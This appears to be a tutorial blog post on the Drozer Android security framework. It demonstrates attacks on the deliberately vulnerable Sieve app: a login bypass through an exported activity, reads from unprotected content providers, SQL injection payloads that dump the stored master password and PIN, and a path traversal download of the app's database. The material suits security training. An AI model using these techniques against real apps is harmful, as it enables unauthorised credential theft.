Post

Drozer: The Android Security Testing Framework

Drozer: The Android Security Testing Framework

Drozer is a comprehensive and flexible penetration testing framework for Android devices. It allows security professionals to find and exploit vulnerabilities in Android applications and devices.

Drozer works as a client-server architecture, where the server runs on the target device, and the client runs on the pentester’s machine.

REFER

labs.withsecure.com

Key Components

  1. Drozer Client
    The client runs on your machine and allows you to interact with the Drozer server on the target Android device. It provides the user interface for creating and running exploits.

  2. Drozer Server
    The server runs on the target Android device, typically installed as a system app or via ADB. It facilitates communication with the Drozer client and exposes interfaces that the pentester can interact with.

Installation & Setup

1
2
3
4
5
sudo apt install python3 python3-pip python3-protobuf python3-openssl \
python3-twisted python3-yaml python3-distro git protobuf-compiler \
libexpat1 libexpat1-dev libpython3-dev python-is-python3 zip default-jdk

pip install drozer-3.1.0-py3-none-any.whl
  • Install Drozer Agent on Android:
1
adb install drozer-agent.apk
  • Start Drozer Agent:
    • Open the Drozer app on your Android device.
    • Click on the “Embedded Server” to start the server.
  • Connect to the Agent:
1
adb forward tcp:31415 tcp:31415

It tells ADB:

“Forward any traffic received on TCP port 31415 on my host machine to TCP port 31415 on the connected Android device.”

Start the Drozer Client

On your local machine, run the Drozer client:

1
2
3
drozer console connect --server <target_ip>:31415
# OR
drozer console connnect

Modules in Drozer

The drozer Console is a command-line environment, which provides a wide range of ‘modules’ for interacting with an Android device to assess its security posture.

Each module implements a very specific function, e.g. listing all packages installed on the device. You can interact with drozer modules by using the various commands that drozer defines:

CommandDescription
run MODULEExecute a drozer module.
listShow a list of all drozer modules that can be executed in the current session. This hides modules that you do not have suitable permissions to run.
shellStart an interactive Linux shell on the device, in the context of the Agent process.
cdMounts a particular namespace as the root of the session, to avoid having to repeatedly type the full name of a module.
cleanRemove temporary files stored by drozer on the Android device.
contributorsDisplays a list of people who have contributed to the drozer framework and modules in use on your system.
echoPrint text to the console.
exitTerminate the drozer session.
helpDisplay help about a particular command or module.
loadLoad a file containing drozer commands, and execute them in sequence.
moduleFind and install additional drozer modules from the Internet.
permissionsDisplay a list of the permissions granted to the drozer agent.
setStore a value in a variable that will be passed as an environment variable to any Linux shell spawned by drozer.
unsetRemove a named variable that drozer passes to any Linux shells that it spawns.

Sieve

Sieve is a small password manager app created to showcase some of the common vulnerabilities found in Android applications.

I set the Password as adb shell input text 01234567890123456789. Then set the PIN adb shell input text 1234

MODULES

Activity

app.activity.info
app.activity.forintent
app.activity.start

Broadcast

app.broadcast.sniff
app.broadcast.info
app.broadcast.send

Package

app.package.info
app.package.attacksurface
app.package.debuggable
app.package.backup
app.package.list
app.package.launchintent
app.package.manifest
app.package.native
app.package.shareuid

Provider

app.provider.columns
app.provider.delete
app.provider.download
app.provider.finduri
app.provider.info
app.provider.insert
app.provider.query
app.provider.read
app.provider.update

Scanner

scanner.activity.browsable
scanner.misc.native
scanner.misc.readablefiles
scanner.misc.secretcodes
scanner.misc.sflagbinaries
scanner.misc,writablefiles
scanner.provider.finduris
scanner.provider.injection
scanner.provider.sqltables
scanner.provider.traversal

Service

app.service.info
app.service.send
app.service.start
app.service.stop

Misc

app.misc.native
app.misc.readablefiles
app.misc.sflagbinaries
app.misc.writeablefiles
auxiliary.webcontentresolver
exploit.jdwp.check

exploit.pilfer.general.apnprovider
exploit.pilfer.general.settingsprovider

information.datetime
information.deviceinfo

shell.exec
shell.send
shell.start

tools.file.download
tools.file.md5sum
tools.file.size
tools.file.upload
tools.setup.busybox
tools.setup.minimalsu

Drozer Modules

Out of the box, drozer provides modules to investigate various aspects of the Android platform, and a few remote exploits.

You can extend drozer’s functionality by downloading and installing additional modules.

1
2
3
4
5
6
7
8
9
10
dz> module search mwrlabs
mwrlabs.develop
mwrlabs.urls
mwrlabs.virustotal

# For more information about a module, you can pass the -d option:
dz> module search develop -d

# You can install modules using the module command:
dz> module install develop

Let’s start by exploiting Sieve.apk App.

Retrieving Package Information

The first step in assessing Sieve is to find it on the Android device. Apps installed on an Android device are uniquely identified by their ‘package name’. We can use the app.package.list command to find the identifier for Sieve:

1
2
3
dz> run app.package.list -f sieve
Attempting to run shell module
com.withsecure.example.sieve (Sieve)

-f -> filter

Now, you know the package name. You can also use apkinfo.

We can ask drozer to provide some basic information about the package using the app.package.info command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dz> run app.package.info -a com.withsecure.example.sieve
Attempting to run shell module
Package: com.withsecure.example.sieve
  Application Label: Sieve
  Process Name: com.withsecure.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.withsecure.example.sieve
  APK Path: /data/app/~~msriMwN0QFoSw11Av-Pw7w==/com.withsecure.example.sieve-edkwqhuOet2kuJOBLO2LEQ==/base.apk
  UID: 10149
  GID: [3003]
  Shared Libraries: [/system/framework/android.test.base.jar]
  Shared User ID: null
  Uses Permissions:
  - android.permission.POST_NOTIFICATIONS
  - android.permission.INTERNET
  - com.withsecure.example.sieve.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION
  Defines Permissions:
  - com.withsecure.example.sieve.READ_KEYS
  - com.withsecure.example.sieve.WRITE_KEYS
  - com.withsecure.example.sieve.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION

This shows us a number of details about the app, including the version, where the app keeps its data on the device, where it is installed and a number of details about the permissions allowed to the app.

Identify the Attack Surface

1
2
3
4
5
6
7
8
dz> run app.package.attacksurface com.withsecure.example.sieve
Attempting to run shell module
Attack Surface:
  3 activities exported
  1 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

This shows that we have a number of potential vectors. The app ‘exports’ (makes accessible to other apps) a number of activities (screens used by the app), content providers (database objects) and services (background workers).

We also note that the service is debuggable, which means that we can attach a debugger to the process, using adb, and step through the code.

Launching Activities

NOTE: If activity doesn’t start from Drozer then keep the Drozer Agent App on foreground and then send command.

We can drill deeper into the attack surface by using some more specific commands. For instance, we can ask which activities are exported by Sieve:

dz> run app.activity.info -a com.withsecure.example.sieve
Attempting to run shell module
Package: com.withsecure.example.sieve
  com.withsecure.example.sieve.activity.MainLoginActivity
    Permission: null
  com.withsecure.example.sieve.activity.FileSelectActivity
    Permission: null
  com.withsecure.example.sieve.activity.PWList
    Permission: null

Other options are:

  -a PACKAGE, --package PACKAGE
                        specify the package to inspect
  -f FILTER, --filter FILTER
                        specify a filter term for the activity name
  -i, --show-intent-filters
                        specify whether to include intent filters
  -u, --unexported      include activities that are not exported
  -v, --verbose         be verbose

One of these (MainLoginActivity) we expect, because this is the screen displayed when we first launch the application.

The other two are less expected: in particular, the PWList activity might be of interest. Since this activity is exported and does not require any permissions, we can ask drozer to launch it:

1
dz> run app.activity.start --component com.withsecure.example.sieve com.withsecure.example.sieve.activity.PWList
  • The package name of the app: com.withsecure.example.sieve
  • The fully qualified activity name to start or in short class name: com.withsecure.example.sieve.activity.PWList

This formulates an appropriate Intent in the background, and delivers it to the system through the startActivity call. Sure enough, we have successfully bypassed the authorisation and are presented with a list of the user’s credentials.

When calling app.activity.start, it is possible to build a much more complex intent. As with all drozer modules, you can request more usage information:

1
2
3
4
5
6
7
8
9
10
11
12
13
dz> run app.activity.start [-h] [--action ACTION] [--category CATEGORY [CATEGORY ...]] [--component PACKAGE COMPONENT] [--data-uri DATA_URI] [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]] [--mimetype MIMETYPE]

  --action ACTION       specify the action to include in the Intent
  --category CATEGORY [CATEGORY ...]
                        specify the category to include in the Intent
  --component PACKAGE COMPONENT
                        specify the component name to include in the Intent
  --data-uri DATA_URI   specify a Uri to attach as data in the Intent
  --extra TYPE KEY VALUE
                        add an field to the Intent's extras bundle
  --flags FLAGS [FLAGS ...]
                        specify one-or-more flags to include in the Intent
  --mimetype MIMETYPE   specify the MIME type to send in the Intent

Send data to activity using Intent

1
2
# dz> run app.activity.start --component [...] --extra TYPE KEY VALUE
dz> run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin --extra string uname admin

Reading from Content Providers

Next, we can gather some more information about the content providers exported by the app.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
dz> run app.provider.info -a com.withsecure.example.sieve
Attempting to run shell module
Package: com.withsecure.example.sieve
  Authority: com.withsecure.example.sieve.provider.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.withsecure.example.sieve.provider.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
      Path: /Keys
        Type: PATTERN_LITERAL
        Read Permission: com.withsecure.example.sieve.READ_KEYS
        Write Permission: com.withsecure.example.sieve.WRITE_KEYS
  Authority: com.withsecure.example.sieve.provider.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.withsecure.example.sieve.provider.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False

This shows the two exported content providers that the attack surface alluded in app.package.attacksurface command.

It confirms that these content providers do not require any particular permission to interact with them, except for the /Keys path in the DBContentProvider.

Content providers in Android act as an interface to share data between apps. They expose URIs that other apps can interact with (read or write data). In this case, the app exposes two content providers:

  1. com.withsecure.example.sieve.provider.DBContentProvider
  2. com.withsecure.example.sieve.provider.FileBackupProvider

Content Provider 1: com.withsecure.example.sieve.provider.DBContentProvider

Grant URI Permissions: False
This setting means that the content provider does not allow granting URI permissions to other apps dynamically. It doesn’t provide a way for the app to explicitly share its data with other apps by granting temporary access.

Path Permissions (For DBContentProvider)

Content providers can expose data at specific paths, and each path can have different access permissions. Here, two paths are exposed:

  • Path: /Keys

    • Type: PATTERN_LITERAL
      The path is exactly /Keys. No wildcard characters are used in the path.

    • Read Permission: com.withsecure.example.sieve.READ_KEYS
      Only apps with this specific permission can read data from this path.

    • Write Permission: com.withsecure.example.sieve.WRITE_KEYS
      Similarly, only apps with this specific permission can write data to this path.

  • Path: /Keys/*

    • Type: PATTERN_LITERAL
      This indicates that any sub-path under /Keys/ is also covered. For example, /Keys/123 or /Keys/abc would match.

    • Read Permission: com.withsecure.example.sieve.READ_KEYS
      Apps with this permission can read data under the /Keys/* path.

    • Write Permission: com.withsecure.example.sieve.WRITE_KEYS
      Apps with this permission can write data under the /Keys/* path.

Content Provider 2: com.withsecure.example.sieve.provider.FileBackupProvider

Grant URI Permissions: False
No dynamic URI permissions can be granted for this content provider, meaning the app doesn’t allow other apps to temporarily access this provider’s data.

Both content providers (DBContentProvider and FileBackupProvider) don’t have any explicit read/write permissions. This can be a security issue because any app on the device could potentially access these providers, which might lead to unintended data leakage or manipulation. Ideally, the app should specify explicit permissions to control which apps can access sensitive data.

The /Keys and /Keys/* paths seem like they could contain sensitive data, as the permissions are specifically named READ_KEYS and WRITE_KEYS. If these permissions aren’t properly enforced, malicious apps might try to exploit this and access or modify keys.

Database-backed Content Providers (Data Leakage)

URL

The Uniform part of the URL acronym is about a common structure of these locator strings. The following image shows this standard structure:

URI URL URN

Refer https://bytebytego.com

URI

The URI acronym stands for Uniform Resource Identifier. Shortly, it is a string that identifies a resource.

While URLs allow you to locate a resource, a URI simply identifies a resource. This means that a URI is not necessarily intended as an address to get a resource. It is meant just as an identifier.

In a nutshell, URLs are a subset of URIs.

A typical example of URI that is not a URL is an XML namespace identifier.

URN

Maybe the URN acronym is less popular than URL and URI, but it belongs to the same family. It stands for Uniform Resource Name, and its scope is to identify resources in a permanent way, even after that resource does not exist anymore.

In particular, a URN is a URI whose scheme is urn and has the following structure, as described by the RFC 2141:

1
urn:<NAMESPACE-IDENTIFIER>:<NAMESPACE-SPECIFIC-STRING>

The following are examples of URNs:

1
2
3
urn:isbn:1234567890
urn:ISSN:0167-6423
urn:ietf:rfc:2648

It is a fairly safe assumption that a content provider called DBContentProvider will have some form of database in its backend. However, without knowing how this content provider is organised, we will have a hard time extracting any information.

We can reconstruct part of the content URIs to access the DBContentProvider, because we know that they must begin with content://. However, we do not know all of the path components that will be accepted by the provider.

Fortunately, Android apps tend to give away hints about the content URIs. For instance, in the output of the app.provider.info command we see that /Keys probably exists as a path (although we cannot query it without the READ_KEYS permission).

drozer provides a scanner module that brings together various ways to guess paths and divine a list of accessible content URIs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
dz> run app.provider.finduri com.withsecure.example.sieve
Attempting to run shell module
Scanning com.withsecure.example.sieve...
content://com.withsecure.example.sieve.androidx-startup/
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/*/
content://com.withsecure.example.sieve.androidx-startup
content://com.withsecure.example.sieve.provider.FileBackupProvider/
content://com.withsecure.example.sieve.provider.FileBackupProvider
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/*
content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/
content://com.withsecure.example.sieve.provider.DBContentProvider/
content://com.withsecure.example.sieve.provider.DBContentProvider
content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords

This Drozer module scans the content providers exposed by the app com.withsecure.example.sieve and lists all accessible URIs (Uniform Resource Identifiers) that could potentially be used to interact with sensitive data (read/write).

Each content://... line is a URI exposed by a Content Provider. Other apps (including malicious ones) can try to interact with these URIs to:

  • Read data (e.g., exported notes, credentials, etc.)
  • Write data (e.g., corrupt or inject content)
  • Trigger unintended behavior

We can now use other drozer modules to retrieve information from those content URIs, or even modify the data in the database:

1
2
3
4
5
6
7
8
9
10
11
12
13
dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/ --vertical
Attempting to run shell module
     _id  1
 service  yayserviceyay
username  yayusernameyay
password  b'TVVNRFVHR0NbRlBNVU0=' (Base64-encoded)
   email  yayemailyay@yay.com

     _id  2
 service  booserviceboo
username  boousernameboo
password  b'VltbRFVHR0NbRlBWW1s=' (Base64-encoded)
   email  booemailboo@boo.com

Once again we have defeated the app’s security and retrieved a list of usernames from the app. In this example, drozer has decided to base64-encode the password. This indicates that field contains a binary blob that otherwise could not be represented in the console.

If you use adb shell to retrieve this you will get binary BLOB.

1
adb shell content query --uri content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/

Database-backed Content Providers (SQL Injection)

The Android platform promotes the use of SQLite databases for storing user data. Since these databases use SQL, it should come as no surprise that they can be vulnerable to SQL injection.

  • The URI specifies the content provider and the data you want to access.
  • It acts like the table name in SQL.
  • Example: content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/ points to the Passwords data exposed by the provider com.withsecure.example.sieve.provider.DBContentProvider.

Projection

  • The projection is an array of column names you want to retrieve.
  • It defines which columns (fields) will be included in the returned data.
  • If null, all columns are returned.
  • Equivalent to the SELECT columns part in SQL.
  • Example: String[] projection = { "username", "password" } returns only these two columns.

Selection

  • The selection is a filter specifying which rows to return.
  • It is a SQL-like WHERE clause without the WHERE keyword.
  • Example: "username = ?" means you want rows where the username matches a certain value.
  • If null, all rows are returned.

SelectionArgs

  • The selectionArgs is an array of values that replace the ? placeholders in the selection string.
  • This helps prevent SQL injection by separating the query structure from the data.
  • Example: if selection is "username = ?", and selectionArgs is new String[]{"alice"}, the query returns rows where username equals “alice”.
ParameterSQL EquivalentDescription
UriFROM table_nameIdentifies the table or dataset to query
projectionSELECT column1, column2, ...Columns to include in the result
selectionWHERE conditionFilter condition for rows
selectionArgsValues for ? placeholdersArguments replacing ? in selection clause
sortOrderORDER BY column ASC/DESCOrder in which rows are returned

Example usage in code:

1
2
3
4
5
6
7
8
9
10
11
12
13
String[] projection = { "username", "password" };
String selection = "username = ?";
String[] selectionArgs = { "alice" };
Cursor cursor = getContentResolver().query(

// Uri.parse converts a String representation of a URI into a Uri object
Uri.parse("content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/"),
    projection,
    selection,
    selectionArgs,
    "username ASC"
);

Now, back to our app: It is simple to test for SQL injection by manipulating the projection and selection fields that are passed to the content provider:

dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/ --projection "'"
Attempting to run shell module
Exception occured: unrecognized token: "' FROM Passwords" (code 1 SQLITE_ERROR): , while compiling: SELECT ' FROM Passwords

dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/ --selection "'"
Attempting to run shell module
Exception occured: unrecognized token: "')" (code 1 SQLITE_ERROR): , while compiling: SELECT * FROM Passwords WHERE (')

Android returns a very verbose error message, showing the entire query that it tried to execute.

Now, let’s try to reverse the application and understand the code: We are looking for Uri content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/

So, in jadx I searched for this query. I got that there is a PWTable class.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.withsecure.example.sieve.database;  
  
import android.provider.BaseColumns;  
  
/* loaded from: classes.dex */  
public class PWTable implements BaseColumns {  
    public static final String BLOB_TYPE = " BLOB";  
    public static final String COLUMN_NAME_EMAIL = "email";  
    public static final String COLUMN_NAME_PASSWORD = "password";  
    public static final String COLUMN_NAME_SERVICE = "service";  
    public static final String COLUMN_NAME_USERNAME = "username";  
    public static final String COMMA_SEP = ",";  
    public static final String KEY_COLUMN_NAME_MAIN = "Password";  
    public static final String KEY_COLUMN_NAME_SHORT = "pin";  
    public static final String KEY_SQL_CREATE_ENTRIES = "CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )";  
    public static final String KEY_TABLE_NAME = "Key";  
    public static final String SQL_CREATE_ENTRIES = "CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email )";  
    public static final String SQL_DELETE_ENTRIES = "DROP TABLE IF EXISTS Passwords";  
    public static final String TABLE_NAME = "Passwords";  
    public static final String TEXT_TYPE = " TEXT";  
}

This class defines the schema for the Passwords and Keys tables in the database.

Keys Table

  • Table Name: Key
    This table is used for storing key-related data (e.g., passwords, PINs).

  • Columns:

    • Password: The main column of the table. It seems like the primary key.

    • pin: This is likely associated with the user’s PIN.

SQL for Creating Keys Table:

1
CREATE TABLE Key (Password TEXT PRIMARY KEY, pin TEXT)

This confirms that the Key table contains:

  • A Password column (presumably some identifier or password string).
  • A pin column, which seems to store PINs or secondary authentication factors.

Passwords Table

  • Table Name: Passwords
    This table is used for storing password data (e.g., for various services or accounts).

  • Columns:

    • _id: Primary key for the table.
    • service: The name of the service for which the password is stored (e.g., Google, Facebook, etc.).
    • username: The username associated with the service.
    • password: The password for the service, stored as a BLOB (binary large object), likely to ensure encryption or secure storage.
    • email: The associated email address for the account.

SQL for Creating Passwords Table:

1
CREATE TABLE Passwords (_id INTEGER PRIMARY KEY, service TEXT, username TEXT, password BLOB, email TEXT)

We can fully exploit this vulnerability to list all tables in the database:

1
2
3
4
dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/ --projection "* from key;--"
Attempting to run shell module
| Password           | pin  |
| yaypasswordyay1234 | 1234 |

File System-backed Content Provider

A content provider can provide access to the underlying file system. This allows apps to share files, where the Android sandbox would otherwise prevent it.

Since we can reasonably assume that FileBackupProvider is a file system-backed content provider and that the path component represents the location of the file we want to open, we can easily guess the content URIs for this and use a drozer module to read the files:

dz> run app.provider.read content://com.withsecure.example.sieve.provider.FileBackupProvider/etc/hosts
Attempting to run shell module
127.0.0.1       localhost
::1             ip6-localhost

Reading the /etc/hosts file is not a big problem (it is world-readable anyway) but having discovered the path to the application’s data directory in /data/data/package_name we can go after more sensitive information:

1
2
3
dz> run app.provider.download content://com.withsecure.example.sieve.provider.FileBackupProvider/data/data/com.withsecure.example.sieve/databases/database.db /tmp/database.db
Attempting to run shell module
Written 24576 bytes

This has copied the application’s database from the device to the local machine, where it can be browsed with sqlite to extract not only the user’s encrypted passwords, but also their master password.

Content Provider Vulnerabilities

We have seen that content providers can be vulnerable to both SQL injection and directory traversal. drozer offers modules to automatically test for simple cases of these vulnerabilities:

1
2
3
4
5
6
7
8
9
10
11
# Find URIs
dz> run scanner.provider.finduris -a com.withsecure.example.sieve

# Find SQLTables
dz> run scanner.provider.sqltables -a com.withsecure.example.sieve

# Find Injection
dz> run scanner.provider.injection -a com.withsecure.example.sieve

# Find Directory Traversal
dz> run scanner.provider.traversal -a com.withsecure.example.sieve

Services

In Android, Services are components that run in the background to perform long-running operations without a user interface. Services can perform tasks like:

  • Playing music
  • Downloading files
  • Handling network operations
  • Managing data updates
  • Exposing functionality to other apps

There are two main types of services:

  1. Started Service: A service that is started by an application to perform a task. Once started, it runs indefinitely until it completes the task or is explicitly stopped.

    • Example: IntentService, Service.
  2. Bound Service: A service that allows other applications or components to interact with it through inter-process communication (IPC). This type of service can handle requests from clients and can return data.

    • Example: Binder, IBinder.

How Services Work in Android

Services in Android are used to encapsulate functionality and expose it for other apps or components (such as activities, content providers, or other services) to interact with. This is done through intents that allow communication with services.

Key Components of Services

  • Service Class: This class implements the functionality of the service and responds to interactions with it. The service can be started by an Intent.

  • Service Manifest Declaration: The service is declared in the app’s AndroidManifest.xml, which exposes the service to other apps or within the same app.

Example

1
2
3
4
5
<service android:name=".MyService">
    <intent-filter>
        <action android:name="com.example.myapp.MY_SERVICE" />
    </intent-filter>
</service>
  • IPC (Inter-Process Communication): Services can be bound to components in other apps, and they can expose their methods via IBinder interfaces. This allows the service to return data to calling clients.

Exploiting Android Services

Since services are often used to handle sensitive operations like encryption, decryption, authentication, or access to data, they can be a potential target for exploitation. Here’s how you can identify and exploit them:

1. Identifying Exported Services

An exported service is a service that can be accessed from other apps or components. To find out which services are exported by an app, you can:

Run app.service.info to list the services exported by the app. This provides the names and the permissions required to interact with them.

1
dz> run app.service.info -a com.withsecure.example.sieve

Let’s say you get AuthService and CryotoService.

AuthService and CryptoService are both exported with no permissions, meaning they can be accessed by any app or component.

2. Interacting with the Services

Once you’ve identified the exported services, you can interact with them using intents. If the service requires certain inputs (e.g., a master password for decryption), you can send data via an Intent.

1
dz> run app.service.send -a com.withsecure.example.sieve -n com.withsecure.example.sieve.service.CryptoService -e key masterPassword -e ciphertext <ciphertext>

If the service expects specific parameters (like the master password), you can modify the -e flags accordingly.

Use Jadx or Apktool to decompile the APK and inspect the source code. Specifically, look for:

  • Methods within the CryptoService class (for example, decrypt(), encrypt(), etc.).
  • Any custom encryption schemes or logic used in the service.

Finding Content Provider Exploits with Drozer

When the application loads for the first time, it creates the application database and initializes it with some data. To send a request to a content provider, you can use a content query command. This command accepts the following four arguments:

  • uri: The URI associated with the content provider you are trying to query
  • projection: The fields you want to see in the data. This is the content that comes between the SELECT and FROM keywords in a SQL query (ex: SELECT projection FROM table)
  • where: The filter you want to apply to your data. This is the equivalent of a where condition in a SQL query
  • sort: The field and ordering to sort the data with. This is equivalent to the text that follows at order by clause in a SQL query

To start, let’s construct a simple query that only provides a URI.

Run the following command to find all of the available content provider URIs:

1
2
3
4
5
dz> run scanner.provider.finduris -a com.withsecure.example.sieve
# Look for sure accessible content URIs:
  content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/
content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/

In this command, the package name of the application we want to scan is the only argument provided. When this command completes, you will see accessible URIs listed for the application: content://... With this, we now have enough information to send a simple query to the content provider. This can be done in Drozer with the following command:

1
2
# dz> run app.provider.query [content://...]
dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords

When you run this command, you will see some data output to the screen.

For this application, the data for the content provider is retrieved using a query that looks like this:

1
SELECT * FROM Passwords;

As we previously mentioned, it is possible to provide data to add to this query. The first way we can do this is using a query projection.

Injections on Query Projections

When you provide data for a query projection, the data is added between the select and from in the SQL query. For example, we can add a projection to our current content provider:

1
2
# dz> run app.provider.query [content://...] --projection [projection]
dz> run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords --projection "'"

Adding this projection changes our query to:

1
SELECT ' FROM Passwords

This is obviously throw error.

To find all of the tables that are in the database, we can use a different Drozer command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
dz> run scanner.provider.sqltables -a com.withsecure.example.sieve
Attempting to run shell module
Scanning com.withsecure.example.sieve...
Accessible tables for uri content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords:
  android_metadata
  Passwords
  Key

Accessible tables for uri content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/:
  android_metadata
  Passwords
  Key

Accessible tables for uri content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/:
  android_metadata
  Passwords
  Key

Let’s go for /Passwords

1
2
3
4
dz>  run app.provider.query content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords --projection "* FROM Key ;--"
Attempting to run shell module
| Password             | pin  |
| 01234567890123456789 | 1234 |

This lets us see all of the tables in the database.

Let Drozer Automate the Testing

Drozer provides a set of commands to help us automate this process. To check if a content provider has a SQL injection, simply run the following command:

1
2
3
4
5
6
7
8
9
10
11
dz> run scanner.provider.injection -a com.withsecure.example.sieve

#...
Injection in Projection:
  content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/ content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/

Injection in Selection:
  content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords
content://com.withsecure.example.sieve.provider.DBContentProvider/Keys/
content://com.withsecure.example.sieve.provider.DBContentProvider/Passwords/
This post is licensed under CC BY 4.0 by the author.